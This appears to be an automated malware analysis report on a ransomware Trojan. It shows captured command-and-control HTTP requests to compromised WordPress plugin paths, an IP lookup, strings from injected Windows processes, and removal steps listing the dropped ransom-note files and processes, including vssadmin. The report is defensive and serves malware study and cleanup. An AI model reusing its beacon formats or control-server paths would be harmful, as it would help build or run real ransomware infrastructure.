e=0..Pragma: no-cache..Set-Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce301
91d89bf; path=/..Location: hXXp://VVV.myconsulting.es/wp-content/plugi
ns/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE4
44C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B956
4CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094
B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D
05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D09
60754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543
F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946
D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081
BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F0
8B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C
13DAAEF0DD6CE36C2A01B31E90D75B20BC..Content-Length: 0..Keep-Alive: tim
eout=5, max=100..Connection: Keep-Alive..Content-Type: text/html; char
set=UTF-8..

<<< skipped >>>

GET /ip HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: ipinfo.io


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 15 Jun 2016 10:33:27 GMT

Server: nginx/1.6.2

Set-Cookie: first_referrer=; Path=/

Content-Length: 15

Connection: keep-alive

194.242.96.218.HTTP/1.1 200 OK..Access-Control-Allow-Origin: *..Conten
t-Type: text/html; charset=utf-8..Date: Wed, 15 Jun 2016 10:33:27 GMT.
.Server: nginx/1.6.2..Set-Cookie: first_referrer=; Path=/..Content-Len
gth: 15..Connection: keep-alive..194.242.96.218...

GET /wp-content/plugins/post-notification/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C28DFD28A1C511AB93DD430BAAEAE42BF882659A4A0D9BC3749E862938F737F4DE4F7AFF3D8A2AFA20E885CEA76086A44995F44749E0AC70A9CFCE027919CA985818791194AB94D2635BE6A15FDA597286 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: myconsulting.es

Connection: Keep-Alive

Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf


HTTP/1.1 200 OK

Date: Wed, 15 Jun 2016 10:43:09 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.36

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

HTTP/1.1 200 OK..Date: Wed, 15 Jun 2016 10:43:09 GMT..Server: Apache/2
.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4..X-P
owered-By: PHP/5.4.36..Content-Length: 0..Keep-Alive: timeout=5, max=1
00..Connection: Keep-Alive..Content-Type: text/html..

GET /wp-content/plugins/share-buttons-wp/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2D075AF8B8200893DF6CB2CE1BA42320F1CD697021095F3BAC0B6E7501B626D3F6CCEA67FFBD212F6A09E4EE950085A384DB9B89944FE4421C59B70FD8312D01A HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: prettybaked.pl

Connection: Keep-Alive


HTTP/1.1 404 Not Found

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Content-Type: text/html; charset=UTF-8

Link: <hXXp://prettybaked.pl/wp-json/>; rel="hXXps://api.w.org/"

Transfer-Encoding: chunked

Date: Wed, 15 Jun 2016 10:33:48 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close
2000..<!DOCTYPE html>.<html lang="pl-PL">.<head>.   
 <meta charset="UTF-8">.    <meta name="viewport" content="wi
dth=device-width, initial-scale=1">.    <title>Strona nie zos
ta..a znaleziona | PrettyBaked</title>.    <link rel="profile
" href="hXXp://gmpg.org/xfn/11">.    <link rel="pingback" href="
hXXp://prettybaked.pl/xmlrpc.php">.    <link rel="alternate" typ
e="application/rss xml" title="PrettyBaked » Kana.. z wpisami" h
ref="hXXp://prettybaked.pl/index.php/feed/" />.<link rel="altern
ate" type="application/rss xml" title="PrettyBaked » Kana.. z ko
mentarzami" href="hXXp://prettybaked.pl/index.php/comments/feed/" />
;...<script type="text/javascript">....window._wpemojiSettings =
 {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".
png","source":{"concatemoji":"http:\/\/prettybaked.pl\/wp-includes\/js
\/wp-emoji-release.min.js?ver=4.5.1"}};....!function(a,b,c){function d
(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext
("2d"),h=String.fromCharCode;if(!g||!g.fillText)return!1;switch(g.text
Baseline="top",g.font="600 32px Arial",a){case"flag":return g.fillText
(h(55356,56806,55356,56826),0,0),f.toDataURL().length>3e3;case"dive
rsity":return g.fillText(h(55356,57221),0,0),c=g.getImageData(16,16,1,
1).data,d=c[0] "," c[1] "," c[2] "," c[3],g.fillText(h(55356,57221,553
56,57343),0,0),c=g.getImageData(16,16,1,1).data,e=c[0] "," c[1] "," c[
2] "," c[3],d!==e;case"simple":return g.fillText(h(55357,56835),0,<<< skipped >>>

GET /wp-content/plugins/wp-handy-lightbox/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0BAD3B3F82CBF372FFC2041BB80D5A5F0800EB4252C6AA835538C909DACE6B2E023834217091840AC9CB180F22DFB68F310B21D4B3FCEA5792BCBEBA4DAB9420F HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: majowy.info

Connection: Keep-Alive


HTTP/1.1 404

Date: Wed, 15 Jun 2016 10:33:34 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, must-revalidate, max-age=0

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Link: <hXXp://majowy.info/wp-json/>; rel="hXXps://api.w.org/"

Pragma: no-cache

Server: IdeaWebServer/v0.80
3ec3..<!DOCTYPE html>.<!--[if IE 7]>.<html class="ie ie
7" lang="pl-PL">.<![endif]-->.<!--[if IE 8]>.<html c
lass="ie ie8" lang="pl-PL">.<![endif]-->.<!--[if !(IE 7) &
 !(IE 8)]><!-->.<html lang="pl-PL">.<!--<![endif]
-->.<head>..<meta charset="UTF-8">..<meta name="view
port" content="width=device-width">..<title>Strona nie zosta.
.a znaleziona | Rzeki dla rower..w</title>..<link rel="profil
e" href="hXXp://gmpg.org/xfn/11">..<link rel="pingback" href="ht
tp://majowy.info/xmlrpc.php">..<!--[if lt IE 9]>..<script 
src="hXXp://majowy.info/wp-content/themes/twentyfourteen/js/html5.js"&
gt;</script>..<![endif]-->.....  <link rel="alternate" 
type="application/rss xml" title="Rzeki dla rower..w » Kana.. z 
wpisami" href="hXXp://majowy.info/feed/" />.<link rel="alternate
" type="application/rss xml" title="Rzeki dla rower..w » Kana.. 
z komentarzami" href="hXXp://majowy.info/comments/feed/" />...<s
cript type="text/javascript">....window._wpemojiSettings = {"baseUr
l":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","sou
rce":{"concatemoji":"http:\/\/majowy.info\/wp-includes\/js\/wp-emoji-r
elease.min.js?ver=4.4.3"}};....!function(a,b,c){function d(a){var c,d,
e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=Str
ing.fromCharCode;return g&&g.fillText?(g.textBaseline="top",g.font="60
0 32px Arial","flag"===a?(g.fillText(h(55356,56806,55356,56826),0,<<< skipped >>>

GET /wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf

Connection: Keep-Alive

Host: VVV.myconsulting.es


HTTP/1.1 404 Not Found

Date: Wed, 15 Jun 2016 10:43:02 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.36

Vary: Cookie

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Link: <hXXp://VVV.myconsulting.es/wp-json/>; rel="hXXps://api.w.org/"

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8
51dc..<!DOCTYPE html>.<!--[if IE 8]> .<html class="no-j
s lt-ie9" lang="en"> <![endif]-->.<!--[if gt IE 8]><
!--> <html class="no-js" lang="es-ES"> <!--<![endif]--&
gt;..<head>..<meta charset="utf-8" />..<meta name="view
port" content="width=device-width" />..  ...<link rel="alternate
" type="application/rss xml" title="RSS2.0" href="hXXp://VVV.myconsult
ing.es/feed" />..<link rel="pingback" href="hXXp://VVV.myconsult
ing.es/xmlrpc.php" />.        .    ..   ...<link rel="shortcut i
con" href="hXXp://VVV.myconsulting.es/wp-content/uploads/2013/09/favic
on.ico" /> . .....<!--[if lt IE 9]><script src="hXXp://www
.myconsulting.es/wp-content/themes/myconsulting/js/html5.js"></s
cript><![endif]-->..<!--[if IE 8]><link rel="stylesh
eet" href="hXXp://VVV.myconsulting.es/wp-content/themes/myconsulting/c
ss/ie8-grid-foundation-4.css" /><![endif]-->...    ..<!-- 
This site is optimized with the Yoast SEO plugin v3.1.2 - hXXps://yoas
t.com/wordpress/plugins/seo/ -->.<title>P..gina no encontrada
 - My Consulting</title>.<meta name="twitter:card" content="s
ummary" />.<meta name="twitter:title" content="P..gina no encont
rada - My Consulting" />.<!-- / Yoast SEO plugin. -->..<li
nk rel="alternate" type="application/rss xml" title="My Consulting &ra
quo; Feed" href="hXXp://VVV.myconsulting.es/feed" />.<link rel="
alternate" type="application/rss xml" title="My Consulting »<<< skipped >>>

GET /wp-content/plugins/wp-handy-lightbox/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2B6A4C49C51E7FDA33B4C4B332FA44DFC85F107174D1175843EE546C0254CCD03ED067E9788149E979AF785F272D934E5D27FEF452E871B2C96EF5A506A0EFA5D HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: majowy.info

Connection: Keep-Alive


HTTP/1.1 404

Date: Wed, 15 Jun 2016 10:33:48 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, must-revalidate, max-age=0

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Link: <hXXp://majowy.info/wp-json/>; rel="hXXps://api.w.org/"

Pragma: no-cache

Server: IdeaWebServer/v0.80
3ec3..<!DOCTYPE html>.<!--[if IE 7]>.<html class="ie ie
7" lang="pl-PL">.<![endif]-->.<!--[if IE 8]>.<html c
lass="ie ie8" lang="pl-PL">.<![endif]-->.<!--[if !(IE 7) &
 !(IE 8)]><!-->.<html lang="pl-PL">.<!--<![endif]
-->.<head>..<meta charset="UTF-8">..<meta name="view
port" content="width=device-width">..<title>Strona nie zosta.
.a znaleziona | Rzeki dla rower..w</title>..<link rel="profil
e" href="hXXp://gmpg.org/xfn/11">..<link rel="pingback" href="ht
tp://majowy.info/xmlrpc.php">..<!--[if lt IE 9]>..<script 
src="hXXp://majowy.info/wp-content/themes/twentyfourteen/js/html5.js"&
gt;</script>..<![endif]-->.....  <link rel="alternate" 
type="application/rss xml" title="Rzeki dla rower..w » Kana.. z 
wpisami" href="hXXp://majowy.info/feed/" />.<link rel="alternate
" type="application/rss xml" title="Rzeki dla rower..w » Kana.. 
z komentarzami" href="hXXp://majowy.info/comments/feed/" />...<s
cript type="text/javascript">....window._wpemojiSettings = {"baseUr
l":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","sou
rce":{"concatemoji":"http:\/\/majowy.info\/wp-includes\/js\/wp-emoji-r
elease.min.js?ver=4.4.3"}};....!function(a,b,c){function d(a){var c,d,
e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=Str
ing.fromCharCode;return g&&g.fillText?(g.textBaseline="top",g.font="60
0 32px Arial","flag"===a?(g.fillText(h(55356,56806,55356,56826),0,<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

NOTEPAD.EXE_1888:

.text

`.data

.rsrc

comdlg32.dll

SHELL32.dll

WINSPOOL.DRV

COMCTL32.dll

msvcrt.dll

ADVAPI32.dll

KERNEL32.dll

NTDLL.DLL

GDI32.dll

USER32.dll

notepad.chm

hhctrl.ocx

CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32

notepad.pdb

t%SSh

_acmdln

RegCloseKey

RegCreateKeyW

RegOpenKeyExA

SetViewportExtEx

GetKeyboardLayout

name="Microsoft.Windows.Shell.notepad"

version="5.1.0.0"

<description>Windows Shell</description>

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

&*$#$$#$*

MMMrMMM`MMMRMMMFMMM:MMM.MMM"MMM

*.txt

/.SETUP

Text Documents (*.txt)

%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT

5.1.2600.5512 (xpsp.080413-2105)

NOTEPAD.EXE

Windows

Operating System

5.1.2600.5512

notepad.hlp

You cannot quit Windows because the Save As dialog

dialog box, and then try quitting Windows again.

Common Dialog error (0xx)

Not enough memory available to complete this operation. Quit one or more applications to increase available memory, and then try again.KThe %% file is too large for Notepad.

Not a valid file name.MCannot create the %% file.

Make sure that the path and filename are correct.RCannot carry out the Word Wrap command because there is too much text in the file.

Page %d

Ln %d, Col %d

iexplore.exe_316:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.Fg

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

%original file name%.exe:1616
vssadmin.exe:1340
vssadmin.exe:916
NOTEPAD.EXE:1888
vcwhqj.exe:228
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:

%Documents and Settings%\%current user%\Application Data\vcwhqj.exe (1425 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.html (5 bytes)
C:\System Volume Information\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.HTML (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.txt (2 bytes)
C:\totalcmd\NO.BAR (892 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.html (5 bytes)
